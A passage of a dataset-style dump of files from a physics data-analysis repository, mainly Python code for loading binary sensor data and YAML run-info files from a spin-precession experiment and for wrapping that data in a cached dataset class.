ts1SM, lw=2)\\r\\n if 0: #Check analysis\\r\\n timestamps=[\\r\\n '5227.40',\\r\\n #'5310.41',\\r\\n #'5318.41',\\r\\n #'5348.86',\\r\\n ]\\r\\n rSpec=RotationSpec(startingAngle=0, delay=9, interval=10, numRotations=20, rotAngles=[-180], extraRotAngle=-90)\\r\\n res=spSearchSet(\\r\\n MakeTestData(rSpec, amp=10.05, sigma=2, N=800000, phi=-0.15*pi, zeroingTime=30, fracDev=0.00, sizeDev=50.0),\\r\\n rSpec,\\r\\n Window(offset=-3, duration=2), Window(offset=-1,duration=1),\\r\\n bPlotAll=True,\\r\\n )\\r\\n if 0:\\r\\n from SPDataSet import SPDataSet\\r\\n rSpec=RotationSpec(startingAngle=0, delay=9, interval=10, numRotations=20, rotAngles=[-180], extraRotAngle=-90)\\r\\n sd,sig=makeTestData(\\r\\n rSpec, amp=10.05, sigma=2, N=800000, phi=-0.15*pi, zeroingTime=30, fracDev=0.00, sizeDev=50.0)\\r\\n ds=SPDataSet('test', preloadDict={'fastD': [sd, sig, 'sig']}, rSpec=rSpec )\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.59375,\n \"alphanum_fraction\": 0.625,\n \"avg_line_length\": 23,\n \"blob_id\": \"99c870f8e2fc12716fadaa931f6bae7d76a88554\",\n \"content_id\": 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\"/README.md\",\n \"repo_name\": \"morgatron/spcpt-analysis\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# spcpt-analysis\\nanalysis stuff for spcpt\\nAnd practising git-hubby workflow...\\n\"\n },\n {\n \"alpha_fraction\": 0.6629213690757751,\n \"alphanum_fraction\": 0.7528089880943298,\n \"avg_line_length\": 43.75,\n \"blob_id\": \"86f26382f00189265dbdddea75517188ae4de816\",\n \"content_id\": \"974639895fed73867892e72c2433fff233f86cad\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 178,\n \"license_type\": \"no_license\",\n \"max_line_length\": 123,\n \"num_lines\": 4,\n \"path\": \"/html/namespacerepo_1_1programs_1_1pythonpackages.js\",\n \"repo_name\": \"morgatron/spcpt-analysis\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"var namespacerepo_1_1programs_1_1pythonpackages =\\n[\\n [ \\\"pr\\\", \\\"namespacerepo_1_1programs_1_1pythonpackages_1_1pr.html\\\", \\\"namespacerepo_1_1programs_1_1pythonpackages_1_1pr\\\" ]\\n];\"\n },\n {\n \"alpha_fraction\": 0.5541343092918396,\n \"alphanum_fraction\": 0.572864294052124,\n \"avg_line_length\": 36.3731689453125,\n \"blob_id\": \"fbc493224826fd944a72930cf3fe7abe0090e96e\",\n \"content_id\": \"1117340474039f1936d1ed358dcd2accf4ee5703\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 15323,\n \"license_type\": \"no_license\",\n \"max_line_length\": 210,\n \"num_lines\": 410,\n \"path\": \"/loadSPFiles.py\",\n \"repo_name\": \"morgatron/spcpt-analysis\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"Functions for loading data files from the SP experiment\\n\\n\\\"\\\"\\\"\\nimport numpy as np\\nfrom os import path\\nimport os\\nimport re\\nfrom collections import namedtuple\\nimport yaml\\nimport MT\\nimport convert\\n\\nrelaxedNames=\\\"\\\"\\\"Tot Pos Det\\nTot Pos Det 2\\nTot Pos Det 3\\nCell Temp\\nFerrite Temp\\nOven Temp\\nTemperature Controller Output\\nBreadboard Temp\\nRoom Temp\\nG10 Lid Temp\\nTilt Sensor 1\\nTilt Sensor 2\\nWavelengthErr\\nPump Current Mon\\nPump Temp Mon\\nProbe Current Mon\\nProbe Temp Mon\\nWater Flow\\nApparatus Position\\n\\\"\\\"\\\".splitlines()\\nmediumNames=\\\"\\\"\\\"Accelerometer\\nPosition Purple\\nPosition Green\\nFluxgate X\\nFluxgate Y\\nFluxgate Z\\nTiltmeter X\\nTiltmeter Y\\nVert Pos Det\\nHoriz Pos Det\\nVert Pos Det 2\\nHoriz Pos Det 2\\nVert Pos Det 3\\nHoriz Pos Det 3\\n\\\"\\\"\\\".splitlines()\\n\\ndef getSpinningDataNames(timestamp, bMotorData=False):\\n if not bMotorData:\\n base_name='SP_aparatus {0}'.format(timestamp)\\n else:\\n base_name='SP_motor {0}'.format(timestamp)\\n base_dir=os.path.join(os.getenv('SP_DATA_DIR'), base_name + ' Bundle/')\\n return base_dir, base_name\\n\\ndef getAllTimeStamps(bApparatus=True, bMotor=False):\\n data_dir=os.path.join(os.getenv('SP_DATA_DIR'))\\n ap_dir_regex=re.compile('SP_aparatus (\\\\d+(?:\\\\.\\\\d*)?|\\\\.\\\\d+) Bundle$')\\n mo_dir_regex=re.compile('SP_motor (\\\\d+(?:\\\\.\\\\d*)?|\\\\.\\\\d+) Bundle$')\\n\\n regExL=[]\\n if bApparatus:\\n regExL.append(ap_dir_regex)\\n if bMotor:\\n regExL.append(mo_dir_regex)\\n outL=[]\\n for reg in regExL:\\n match_list=[ap_dir_regex.match(line) for line in os.listdir(data_dir)]\\n stamps=[m.groups()[0] for m in match_list if m is not None]\\n stamps.sort()\\n outL.append(stamps)\\n if len(outL)==1:\\n outL=outL[0]\\n return outL\\n\\n#old\\ndef loadSet(timestamp, cal=None, subL=[\\\"Fast\\\", \\\"Medium\\\", \\\"Relaxed\\\"], startTime=-np.inf, endTime=np.inf):\\n \\\"\\\"\\\"OLD Load all the data associated with @timestamp\\n \\\"\\\"\\\"\\n if cal is None:\\n print(\\\"Haven't implemented loading of calibration data yet, Your data will stay in Volts\\\")\\n cal=1\\n base_dir, base_name=getSpinningDataNames(timestamp)\\n\\n def splitRecArray(rA):\\n t=rA['sd']\\n names=list(rA.dtype.names)\\n names.remove('sd')\\n y=rA[names].view(rA.dtype[-1]).reshape(rA.size,-1)\\n return [t, y.T, names]\\n\\n #startI=0\\n fastD=None;\\n medD=None; \\n relD=None;\\n if \\\"Fast\\\" in subL:\\n fastRec=loadSPBinary.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'Fast'), totalDataType=[('sd','>f8'), ('s1', '>f4')]) \\n if fastRec is not None:\\n fastD=splitRecArray(fastRec)\\n fastD[1]=fastD[1].squeeze()\\n fastD[1]*=cal\\n\\n startI, endI=fastD[0].searchsorted([startTime, endTime])\\n fastD[0]=fastD[0][startI:endI]\\n fastD[1]=fastD[1][startI:endI]\\n\\n if \\\"Medium\\\" in subL:\\n medRec=loadSPBinary.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'Medium'), useMetaFile=True) \\n if medRec is not None:\\n renameFieldMaybe(medRec, 'Sidereal Days', 'sd')\\n medD=splitRecArray(medRec)\\n startI, endI=medD[0].searchsorted([startTime, endTime])\\n medD[0]=medD[0][startI:endI]\\n medD[1]=medD[1][:,startI:endI]\\n\\n\\n\\n if \\\"Relaxed\\\" in subL:\\n relRec=loadSPBinary.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'Relaxed'), useMetaFile=True) \\n if relRec is not None:\\n renameFieldMaybe(relRec, 'Sidereal Days', 'sd')\\n relD=splitRecArray(relRec)\\n startI, endI=relD[0].searchsorted([startTime, endTime])\\n relD[0]=relD[0][startI:endI]\\n relD[1]=relD[1][:,startI:endI]\\n if \\\"Slow\\\" in subL:\\n slRec=loadSPBinary.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'Slow'), useMetaFile=True) \\n if slRec is not None:\\n renameFieldMaybe(slRec, 'Sidereal Days', 'sd')\\n slD=splitRecArray(slRec)\\n\\n return SPDataSet(fastD, medD=medD, relD=relD)\\n\\nset_info_defaults={\\n 'bUseful': 'unknown',\\n 'bDataConfirmed':False,\\n 'acquisition':{'sampleRate': 50, 'timeConstant': 0.003},\\n #'rotationSpec':{'delay': 9, \\n # 'interval':30, \\n # 'numRotations':20,\\n # 'rotAngles': [-180],\\n # 'extraRotAngle': -90.,\\n # 'startingAngle': 0,\\n # },\\n 'timeStamp':'unknown',\\n 'notes': 'Default',\\n #'windows':{}\\n 'windows':{\\n 'sig':{\\n 'duration': 4,\\n 'offset': -6.6,\\n },\\n 'bg':{\\n 'duration': 1,\\n 'offset': 0,\\n },\\n }\\n }\\ndef loadSetInfo(dir_name):\\n ts=dir_name.split()[-2]\\n bWriteNew=False\\n filepath=os.path.join(dir_name, 'set_info.yaml')\\n try:\\n f=open(filepath)\\n infoD=yaml.load(f)\\n f.close()\\n except IOError:\\n print(\\\"No set_info.yaml exists in {}, making defaults\\\".format(dir_name))\\n bWriteNew=True\\n infoD= {}\\n\\n loadedKeys=infoD.keys()\\n if 'bandwidth' in loadedKeys: #It's a matlab generated yaml file\\n print(\\\"updating matlab generated yaml\\\")\\n #newD=copy(set_info_defaults)\\n newD={\\n 'bUseful':infoD['bUseful'],\\n 'bDataConfirmed':infoD['bDataConfirmed'],\\n 'acquisition':{'sampleRate': infoD['bandwidth'][1], \\n 'timeConst': infoD['bandwidth'][0]\\n },\\n 'rotationSpec':{'delay': infoD['delay'], 'interval':infoD['interval'],\\n 'numRotations':infoD['numRotations'], \\n 'rotAngles': [infoD['rotationAngles'][0]], \\n 'extraRotAngle':infoD['rotationAngles'][1],\\n 'startingAngle':MT.cardinalToDeg(infoD['startPosition']),\\n },\\n 'timeStamp':infoD['timestamp'],\\n 'notes':infoD['notes']+'\\\\nConverted from matlab',\\n }\\n infoD=newD\\n writeSetInfo(dir_name, infoD)\\n \\n if infoD.has_key('rotationSpec') and infoD['rotationSpec'].has_key('startPosition'):\\n infoD['rotationSpec']['startingAngle']= MT.cardinalToDeg(infoD['rotationSpec']['startPosition'])\\n infoD['rotationSpec'].pop('startPosition')\\n\\n newLoadedKeys=infoD.keys()\\n for key in set_info_defaults.keys():\\n if key not in newLoadedKeys:\\n infoD[key]=set_info_defaults[key]\\n print(\\\"Loading {0} from defaults, it may not be right. Go fix this in set_info.yaml!\\\".format(key))\\n\\n if bWriteNew:\\n infoD['timeStamp']=ts\\n writeSetInfo(dir_name, infoD)\\n return infoD\\n\\ndef writeSetInfo(dir_name, D):\\n filepath=os.path.join(dir_name, 'set_info.yaml')\\n print(\\\"writing new set_info.yaml file...\\\")\\n fout=open(filepath,'w')\\n fout.write(yaml.dump(D))\\n fout.close()\\n print(\\\"{0} was written.\\\".format(filepath))\\n\\ndef loadZeroFile(fname):\\n proc_dict={\\n 1: 'cBz',\\n 2: 'By',\\n 3: 'Bx',\\n 35: 'Cal',\\n 29: 'Pol',\\n }\\n dat=np.loadtxt(fname).T;\\n t=dat[0]\\n proc_num=dat[1]\\n val=dat[2]\\n slope=dat[3]\\n sigma=dat[4]\\n ZeroProc=namedtuple('ZeroProc', ['t', 'val', 'slope', 'sigma'])\\n zD={}\\n for num, name in proc_dict.iteritems():\\n I=np.where(proc_num==float(num))[0]\\n zD[name]=ZeroProc(t=t[I], val=val[I], slope=slope[I], sigma=sigma[I])\\n #DataFrame =namedtuple('DataFrame', ['sd', 'y'])\\n return zD\\n\\n\\ndef getAllSPSensor(names, slc=None, timeRange=None):\\n data_dir=os.path.join(os.getenv('SP_DATA_DIR'))\\n ap_dir_regex=re.compile('SP_aparatus (\\\\d+(?:\\\\.\\\\d*)?|\\\\.\\\\d+) Bundle$')\\n mo_dir_regex=re.compile('SP_motor (\\\\d+(?:\\\\.\\\\d*)?|\\\\.\\\\d+) Bundle$')\\n\\n ap_match_list=[ap_dir_regex.match(line) for line in os.listdir(data_dir)]\\n ap_stamps=[m.groups()[0] for m in ap_match_list if m is not None]\\n mo_match_list=[mo_dir_regex.match(line) for line in os.listdir(data_dir)]\\n mo_stamps=[m.groups()[0] for m in mo_match_list if m is not None]\\n\\n mo_stamps.sort()\\n ap_stamps.sort()\\n ioff()\\n sdL=[]\\n if slc is None:\\n [firstI, lastI]=searchsorted(ap_stamps, timeRange)\\n slc=slice(firstI, lastI)\\n #slc=slice(-20,-15)\\n relIdxs=[relaxedNames.index(name) for name in names if name in relaxedNames]\\n medIdxs=[mediumNames.index(name) for name in names if name in mediumNames]\\n #slIdxs=[slowNames.index(name) for name in names if name is in slowNames]\\n #medList=[idx for name in names if name is in mediumNames]\\n #slList=[idx for name in names if name is in slNames]\\n\\n allMedL=[]\\n allRelL=[]\\n subSetL=[]\\n if medIdxs:\\n subSetL.append(\\\"Medium\\\")\\n if relIdxs:\\n subSetL.append(\\\"Relaxed\\\")\\n \\n for stamp in ap_stamps[slc]:\\n thisTsYL=[]\\n dat=loadSet(stamp, subL=subSetL)\\n relL=[]\\n medL=[]\\n #tsL=[]\\n for idxs, D, l in [(relIdxs, dat.relD, relL), (medIdxs, dat.medD, medL)]:\\n if idxs and D:\\n l.append([D[0]]+[D[1][idx] for idx in idxs])\\n #tsL.append(D[0])\\n #else:\\n #tsL.append(None)\\n #l.append(None)\\n \\n if medL:\\n allMedL.append(medL)\\n if relL:\\n allRelL.append(relL)\\n\\n if 0:\\n try:\\n dat=loadSet(stamp, subL=subSet)\\n if subSet=='Relaxed':\\n D=dat.relD\\n elif subSet=='Medium':\\n D=dat.medD\\n elif subSet=='Slow':\\n D=dat.slowD\\n if D:\\n sd=D[0].copy()\\n y=D[1][D[2].index(name)].copy()\\n del dat\\n sdL.append(sd)\\n yL.append(y)\\n \\n except ValueError:\\n print(\\\"\\\\nTimestamp {0} didn't load, maybe no '{1}' data? \\\\n \\\\n\\\".format(stamp, subSet))\\n if allRelL:\\n allRelL=dstack(allRelL).squeeze()\\n if allMedL:\\n allMedL=dstack(allMedL).squeeze()\\n return allMedL, allRelL\\n\\ndef loadBins(root_path, useMetaFile=True, nVars=1, endian='', dType=None, totalDataType=None):\\n \\\"\\\"\\\"Load all the binary files in that match the root path.\\n\\n They match the root path with regex 'root_path( \\\\d+)?.bin',\\n that is anything that starts with root_path, ends with .bin, and optionally has a number after a space. If there are numbers after the space, the files are loaded and the data appended in the correct order.\\n \\\"\\\"\\\"\\n dirname=path.dirname(root_path) \\n rootname=path.basename(root_path) \\n r=re.compile('{0}( \\\\d+)?\\\\.bin'.format(rootname))\\n dlist=os.listdir(dirname);\\n dlist=[st for st in dlist if r.match(st)]\\n if not dlist:\\n print(\\\"No data for {0}\\\".format(root_path))\\n return None\\n if len(dlist)>1:\\n dlist.sort( key=lambda st: int(r.match(st).groups()[0]) ) # dlist is now sorted\\n \\n dat_list=[loadABin(path.join(dirname, fname), useMetaFile=useMetaFile, nVars=nVars, endian=endian, totalDataType=totalDataType) for fname in dlist]\\n # Combine these into a single file...\\n\\n dat=np.hstack(dat_list)\\n #datnames=dat_list[0].keys()\\n return dat\\n\\ndef loadABin(filepath, nVars=1, useMetaFile=True, endian='', totalDataType=None):\\n \\\"\\\"\\\"Load a single binary file at filepath\\n \\\"\\\"\\\"\\n #This is all just establishing how the data is stored in the file\\n if totalDataType is None: #If a data type wasn't given, we'll try to work it out:\\n if useMetaFile: #Usually the data type is stored in a meta file: \\n fname_components=path.splitext(filepath)[0].split(' ')\\n if fname_components[-1].isdigit():\\n fname_components.pop()\\n meta_file_path=' '.join(fname_components) + '.npmeta'\\n npmeta_path=' '.join(fname_components) + '.npmeta'\\n if path.exists(npmeta_path):\\n mfile=open(npmeta_path)\\n lines=mfile.readlines()\\n pairs=[line.strip().split(',') for line in lines if not line.isspace() and not line.startswith('#') ]# should be tuples of e.g. ('signal', 'f8');\\n defaultDtype='>f4'\\n totalDataType=[]\\n for p in pairs:\\n name=p[0].strip()\\n if len(p)>1:\\n dt=p[1].strip()\\n defaultDtype=dt;\\n else:\\n dt=defaultDtype;\\n totalDataType.append((name, dt));\\n else: #If there was no appropriate unambiguous meta-file, look for the old style:\\n meta_file_path=' '.join(fname_components) + '.meta'\\n if not path.exists(meta_file_path): #Sometimes they have the extension .meta.txt for no good reason, so check for that too\\n meta_file_path=meta_file_path+'.txt'\\n if path.exists(meta_file_path):\\n convert.spmeta2npmeta(meta_file_path) #This convert the old style to the new (Corrects for some changes, but not all)\\n print(\\\"Found an old meta-file only. Will attempt to make something useful out of it (old style is ambiguous)\\\")\\n return loadABin(filepath, nVars, useMetaFile) #We'll run the function again with the new meta file exists\\n #mfile=open(meta_file_path)\\n else:\\n raise IOError(\\\"Looking for a meta-file (for {0}) but none exists\\\".format(' '.join(fname_components)))\\n sigNames=mfile.readlines()\\n sigNames=[name.strip() for name in sigNames]\\n if sigNames[0]=='Sidereal Days':\\n sigNames=sigNames[1:]\\n nVars=len(sigNames)\\n sigDataType=[(name, endian+'f8') for name in sigNames]\\n timeDataType=[('sd', endian+'f8')]\\n totalDataType=timeDataType+sigDataType\\n\\n else:\\n timeDataType=[('sd', endian+'f8')]\\n sigDataType=[('s{0}'.format(n), endian+'f8') for n in range(1,nVars+1)]\\n totalDataType=timeDataType+sigDataType\\n\\n # This is where we actually read it\\n dat=np.fromfile(filepath, totalDataType)\\n\\n return dat;\\n\\nif __name__==\\\"__main__\\\":\\n #ddir='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_motor 5253.67 Bundle/'\\n #fpath=ddir+'SP_motor 5253.67 sensors 8.bin'\\n ddir='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_aparatus 5256.38 Bundle/'\\n #ddir='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_motor 5256.38 Bundle/'\\n fname='SP_aparatus 5256.38 Medium 6.bin'\\n fname_f='SP_aparatus 5256.38 Fast'\\n ddir2='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_motor 5253.67 Bundle/'\\n fname2='SP_motor 5253.67 sensors'\\n fpath=ddir+fname\\n fpath_f=ddir+fname_f\\n\\n dat=loadABin(fpath, useMetaFile=True);\\n dat_f=loadBins(fpath_f, useMetaFile=False, totalDataType=[('sd','>f8'), ('s1', '>f4')]);\\n dat2=loadBins(ddir+'SP_aparatus 5256.38 Medium')\\n dat3=loadBins(ddir2+fname2, useMetaFile=True)\\n\"\n },\n {\n \"alpha_fraction\": 0.5151515007019043,\n \"alphanum_fraction\": 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# dlist is now sorted\\n\\t\\n\\tdat_list=[loadAbin(path.join(dirname, fname), useMetaFile=useMetaFile) for fname in dlist]\\n\\t# Combine these into a single file...\\n\\n\\tdat=np.hstack(dat_list)\\n\\t#datnames=dat_list[0].keys()\\n\\treturn dat\\n\\n\\n\\ndef loadAbin(filepath, nVars=1, useMetaFile=True, endian=''):\\n\\tif useMetaFile:\\n\\t\\tfname_components=path.splitext(filepath)[0].split(' ')\\n\\t\\tif fname_components[-1].isdigit():\\n\\t\\t\\tfname_components.pop()\\n\\t\\tmeta_file_path=' '.join(fname_components) + '.npmeta'\\n\\t\\tnpmeta_path=' '.join(fname_components) + '.npmeta'\\n\\t\\tif path.exists(npmeta_path):\\n\\t\\t\\tmfile=open(npmeta_path)\\n\\t\\t\\tlines=mfile.readlines()\\n\\t\\t\\t#totalDataType=[line.replace(',', ' ').split() for line in lines if not line.isspace() and not line.startswith('#') ]# should be tuples of e.g. ('signal', 'f8');\\n\\t\\t\\tpairs=[line.strip().split(',') for line in lines if not line.isspace() and not line.startswith('#') ]# should be tuples of e.g. ('signal', 'f8');\\n\\t\\t\\tdefaultDtype='>f4'\\n\\t\\t\\ttotalDataType=[]\\n\\t\\t\\tfor p in pairs:\\n\\t\\t\\t\\tname=p[0].strip()\\n\\t\\t\\t\\tif len(p)>1:\\n\\t\\t\\t\\t\\tdt=p[1].strip()\\n\\t\\t\\t\\t\\tdefaultDtype=dt;\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\tdt=defaultDtype;\\n\\t\\t\\t\\ttotalDataType.append((name, dt));\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\n\\t\\t\\t#print(\\\"totalDataType: {0}\\\".format(totalDataType))\\n\\t\\telse:\\n\\t\\t\\tmeta_file_path=' '.join(fname_components) + '.meta'\\n\\t\\t\\tif path.exists(meta_file_path):\\n\\t\\t\\t\\tmfile=open(meta_file_path)\\n\\t\\t\\telif path.exists(meta_file_path+'.txt'):\\n\\t\\t\\t\\tmfile=open(meta_file_path+'.txt')\\n\\t\\t\\telse:\\n\\t\\t\\t\\traise IOError\\n\\t\\t\\tsigNames=mfile.readlines()\\n\\t\\t\\tsigNames=[name.strip() for name in sigNames]\\n\\t\\t\\tif sigNames[0]=='Sidereal Days':\\n\\t\\t\\t\\tsigNames=sigNames[1:]\\n\\t\\t\\tnVars=len(sigNames)\\n\\t\\t\\tsigDataType=[(name, endian+'f8') for name in sigNames]\\n\\t\\t\\ttimeDataType=[('sd', endian+'f8')]\\n\\t\\t\\ttotalDataType=timeDataType+sigDataType\\n\\n\\telse:\\n\\t\\ttimeDataType=[('sd', endian+'f8')]\\n\\t\\tsigDataType=[('s{0}'.format(n), endian+'f8') for n in range(1,nVars+1)]\\n\\t\\ttotalDataType=timeDataType+sigDataType\\n\\n\\n\\n\\tprint(\\\"total dtype: {0}\\\".format(totalDataType))\\n\\tdat=np.fromfile(filepath, totalDataType)\\n\\n\\treturn dat;\\n\\nif __name__==\\\"__main__\\\":\\n\\t#ddir='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_motor 5253.67 Bundle/'\\n\\t#fpath=ddir+'SP_motor 5253.67 sensors 8.bin'\\n\\tddir='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_aparatus 5256.38 Bundle/'\\n\\t#ddir='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_motor 5256.38 Bundle/'\\n\\tfname='SP_aparatus 5256.38 Medium 6.bin'\\n\\tddir2='/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton 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\\\"test__SPfuncs_8py.html#af18588089ac02705cb7205aec7430241\\\", null ],\\n [ \\\"test_cutAmp\\\", \\\"test__SPfuncs_8py.html#a287834089412b429481b6b2b90e2d6bf\\\", null ]\\n];\"\n },\n {\n \"alpha_fraction\": 0.5672060251235962,\n \"alphanum_fraction\": 0.5835860371589661,\n \"avg_line_length\": 39.46559524536133,\n \"blob_id\": \"fc247f47460f137018bf384e844d683ce7e19e7d\",\n \"content_id\": \"39580c7635194540801ff9e2db654bbb3dde705f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 35287,\n \"license_type\": \"no_license\",\n \"max_line_length\": 203,\n \"num_lines\": 872,\n \"path\": \"/SPDataSet.py\",\n \"repo_name\": \"morgatron/spcpt-analysis\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\n\\n\\\"\\\"\\\"\\nimport pdb\\nfrom collections import namedtuple\\nfrom functools import partial\\nfrom pylab import *\\nimport SPfuncs as sp\\nfrom MT import nonnan, cached_property, memoize_inst_meth, nearby_angles, combine_angle_pairs, rotate_quadrature_sample, weightedStats, vprint\\nimport MT, os\\nimport loadSPFiles\\nfrom SPfuncs import getAnglesFromRSpec, renameFieldMaybe, getHarmonicsFit, mgStringHarmonics, sliceReduceData, sliceSorted, makeTriggers, Window, RotationSpec, secs2sd, sd2secs, makeTestData, spSearchSet\\nfrom SPfuncs import CorrelationData, SiderealFitData, PointData, RawData\\nimport SPfuncs as spf\\nimport loadSPFiles\\nfrom scipy import random\\nimport inspect\\nimport yaml\\nfrom copy import copy\\nfrom pprint import pprint\\n\\n#This works with memoize_inst_methd methods only (and only with Morgan's modified version)\\ndef divide_args_memo(kwargs, func_to_follow):\\n names_to_keep=list(set(kwargs.keys()) & set(func_to_follow.orig_args[1:]))\\n kept_args=dict( [(key, kwargs.pop(key)) for key in names_to_keep] )\\n return kwargs, kept_args\\n\\ndef divide_args(cur_kwargs, work_func):\\n \\\"\\\"\\\"Helpful for calling work_func(following_func(**remaining_args), **work_args))\\n work_args are the entries of cur_kwargs that are in the argument list of work_func. Remaining_args are those left over\\n Currently just returns the divided argument list\\n \\\"\\\"\\\"\\n names_to_keep=list(set(cur_kwargs.keys()) & set(inspect.getargspec(work_func).args))\\n work_args=dict( [(key, cur_kwargs.pop(key)) for key in names_to_keep] )\\n #return work_func(following_func(**cur_kwargs), **work_args)\\n return cur_kwargs, work_args\\n\\nttl=300\\nclass SPDataSet(object):\\n setNameD={\\n 'med':'medD',\\n 'medium':'medD',\\n 'rel':'relD',\\n 'relaxed':'relD',\\n 'fast':'fastD',\\n '':'fastD',\\n 'motor':'motorD',\\n 'mot':'motorD',\\n }\\n def __init__(self, timestamp, preloadDict={}, startTime=-inf, endTime=inf, **kwargs):\\n self.windowD={}\\n self.timestamp=timestamp \\n self.startTime=startTime\\n self.endTime=endTime\\n self.base_dir, self.base_name=loadSPFiles.getSpinningDataNames(timestamp)\\n #Add to the class whatever is in preloadDict (these will overide the cached_property functions)\\n self.__dict__.update(preloadDict)\\n\\n\\n #Convenience parameter loading from set_info.yaml:\\n if kwargs:\\n # Just in case you didn't mean to do this, e.g. a typo\\n vprint(\\\"Warning: updating dataset according to kwargs: {0}\\\".format(kwargs))\\n self.__dict__.update(kwargs)\\n if self.set_info.has_key('windows'):\\n winD=self.set_info['windows']\\n \\n for winName, winVals in winD.iteritems():\\n self.windowD[winName]=Window(**winVals)\\n if self.set_info.has_key('badTimes'):\\n self.badTimes=self.set_info['badTimes']\\n else:\\n self.badTimes=[]\\n if self.set_info.has_key('skipSeqIs'):\\n self.skipSeqIs=self.set_info['skipSeqIs']\\n if not hasattr(self.skipSeqIs, '__iter__'):\\n self.skipSeqIs=[self.skipSeqIs]\\n else:\\n self.skipSeqIs=[]\\n if self.set_info.has_key('dropTriggerIs'):\\n self.dropTriggerIs=self.set_info['dropTriggerIs']\\n if not hasattr(self.dropTriggerIs, '__iter__'):\\n self.dropTriggerIs=[self.dropTriggerIs]\\n else:\\n self.dropTriggerIs=[]\\n\\n if self.set_info.has_key('calOverride'):\\n self.calOverride=self.set_info['calOverride']\\n else:\\n self.calOverride=None\\n \\n def clearRaw(self):\\n for varname in ['fastD', 'medD', 'relD', 'motorD']:\\n self._cache.pop(varname, None)\\n \\n @property\\n def rSpec(self):\\n return (self.__dict__['rSpec'] if \\n self.__dict__.has_key('rSpec') else \\n RotationSpec(**self.set_info['rotationSpec'])\\n )\\n #return RotationSpec(**self.set_info['rotationSpec'])\\n @cached_property(ttl=0)\\n def set_info(self):\\n \\\"\\\"\\\"Property doc string!!\\\"\\\"\\\"\\n if self.timestamp=='test':\\n return {}\\n return loadSPFiles.loadSetInfo(self.base_dir) \\n\\n def update_set_info(self, newD):\\n cur_info=copy(self.set_info)\\n new_keys=newD.keys()\\n old_keys=cur_info.keys()\\n if not all([key in old_keys for key in new_keys]):\\n raise ValueError(\\\"Some keys don't already exist. Edit the info file instead\\\")\\n cur_info.update(newD)\\n loadSPFiles.writeSetInfo(self.base_dir, newD)\\n\\n def tRange(self):\\n return [self.fastD[0].min(), self.fastD[0].max()]\\n\\n #Base level loading\\n @staticmethod\\n def splitRecArray(rA):\\n t=rA['sd']\\n names=list(rA.dtype.names)\\n names.remove('sd')\\n y=rA[names].view(rA.dtype[-1]).reshape(rA.size,-1)\\n return [t.copy(), y.T.copy(), names]\\n\\n @cached_property(ttl=ttl)\\n def medD(self):\\n rec=loadSPFiles.loadBins('{0}{1} {2}'.format(self.base_dir, self.base_name, 'Medium'), useMetaFile=True) \\n if rec is not None:\\n renameFieldMaybe(rec, 'Sidereal Days', 'sd')\\n dat=self.splitRecArray(rec)\\n startI, endI=dat[0].searchsorted([self.startTime, self.endTime])\\n dat[0]=dat[0][startI:endI]\\n dat[1]=dat[1][:,startI:endI]\\n else:\\n return None;\\n return dat\\n\\n @cached_property(ttl=ttl)\\n def motorPositions(self):\\n base_dir,base_name=loadSPFiles.getSpinningDataNames(self.timestamp, bMotorData=True)\\n rec=loadSPFiles.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'positions'), useMetaFile=True) \\n if rec is not None:\\n renameFieldMaybe(rec, 'Sidereal Days', 'sd')\\n dat=self.splitRecArray(rec)\\n startI, endI=dat[0].searchsorted([self.startTime, self.endTime])\\n dat[0]=dat[0][startI:endI]\\n dat[1]=dat[1][:,startI:endI]\\n else:\\n vprint(\\\"No motor position data\\\")\\n return None;\\n return dat\\n\\n @cached_property(ttl=ttl)\\n def motorSensors(self):\\n base_dir,base_name=loadSPFiles.getSpinningDataNames(self.timestamp, bMotorData=True)\\n rec=loadSPFiles.loadBins('{0}{1} {2}'.format(base_dir, base_name, 'sensors'), useMetaFile=True) \\n if rec is not None:\\n renameFieldMaybe(rec, 'Sidereal Days', 'sd')\\n dat=self.splitRecArray(rec)\\n startI, endI=dat[0].searchsorted([self.startTime, self.endTime])\\n dat[0]=dat[0][startI:endI]\\n dat[1]=dat[1][:,startI:endI]\\n else:\\n vprint(\\\"No motor sensor data\\\")\\n return None;\\n return dat\\n\\n @cached_property(ttl=ttl)\\n def relD(self):\\n rec=loadSPFiles.loadBins('{0}{1} {2}'.format(self.base_dir, self.base_name, 'Relaxed'), useMetaFile=True) \\n if rec is not None:\\n renameFieldMaybe(rec, 'Sidereal Days', 'sd')\\n dat=self.splitRecArray(rec)\\n startI, endI=dat[0].searchsorted([self.startTime, self.endTime])\\n dat[0]=dat[0][startI:endI]\\n dat[1]=dat[1][:,startI:endI]\\n else:\\n return None;\\n return dat\\n\\n @cached_property(ttl=ttl)\\n def fastD(self):\\n rec=loadSPFiles.loadBins('{0}{1} {2}'.format(self.base_dir, self.base_name, 'Fast'), totalDataType=[('sd','>f8'), ('s1', '>f4')]) \\n 